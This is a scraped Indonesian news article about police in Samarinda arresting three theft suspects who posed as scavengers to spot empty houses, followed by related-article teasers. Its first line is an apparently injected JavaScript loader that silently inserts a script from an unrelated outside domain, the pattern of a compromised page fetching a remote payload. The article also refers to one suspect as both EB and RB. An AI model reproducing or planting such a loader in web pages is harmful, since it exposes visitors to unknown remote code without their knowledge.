(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SAMARINDA – Anggota Satuan Reskrim (Satreskrim) Polsek Samarinda Kota menangkap kawanan spesialis pencurian pada Minggu (29/8/2021) lalu.
Ketiga pria berinisial TI (28), HR (33), dan EB (42) diamankan di Wisma Citra yang berada di Jalan Rajawali, kelurahan Sungai Pinang, Kecamatan Sungai Pinang dalam, Samarinda.
Dua pelaku berinisial TI dan EB sebelumnya pernah meringkuk akibat kasus pencurian, sedangkan HR merupakan residivis kasus narkotika dan penganiayaan.
Dalam melancarkan aksinya, ketiga pelaku tersebut bekerja sebagai pemulung barang bekas. Ketika menjadi pemulung, ketiga pelaku ini memantau rumah-rumah yang saat itu sedang kosong.
Baca juga: Dibiarkan ‘Tumbuh Liar’ di Jalan, Pedagang di Dalam Pasar Pondok Mangga Berkurang
Setelah memastikan bahwa rumah tersebut kosong, mereka langsung melaksanakan pencurian dengan melakukan pembobolan rumah.
“Mereka (pelaku) ini memantau dulu, rumah itu kosong apa tidak. Setelah mereka tau bahwa rumah itu kosong, mereka langsung melancarkan aksinya,” ungkap Kapolsek Samarinda Kota, AKP Creato Sonitehe Gulo saat melakukan press rilis, Jumat (3/9/2021).
Dari tangan ketiga pelaku tersebut, kepolisan berhasil mengamankan barang bukti yakni 1 unit mesin compressor AC, 2 unit televisi, satu unit gergaji besi, satu unit gembok, satu unit karung berisi tembaga, satu buah pisau lipat, satu buah gerobak kayu, dan satu unit sepeda motor Honda Vario.
“Para pelaku ini menjadi kan pencurian sebagai mata pencarian, dan melakukan tindakan pencurian setiap hari. Sehingga untuk memenuhi kebutuhan mereka melakukan kejahatan,” imbuhnya.
Sementara itu, salah satu tersangka berinisial EB mengatakan dirinya melakukan pencurian, lantaran tidak mempunyai pekerjaan.
“Untuk kebutuhan hidup sama istri, dan 4 anak saya, karena saya tidak punya kerjaan lagi,” jelas EB.
Disinggung terkait apakah istri tersebut mengetahui profesinya, RB mengatakan bahwa istrinya tidak mengetahui kalau dirinya merupakan aksi pencurian.
“Saya ngakunya ke istri bekerja sebagai tukang parkir,” tandasnya.
Akibat dari perbuatan ketiga pelaku tersebut, TI, HR, dan RB diancam pasal 363 KUHP tentang pencurian dengan keberatan, dengan ancaman penjara paling lama lima tahun penjara. (Suara.com/Apriskian Tauda)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.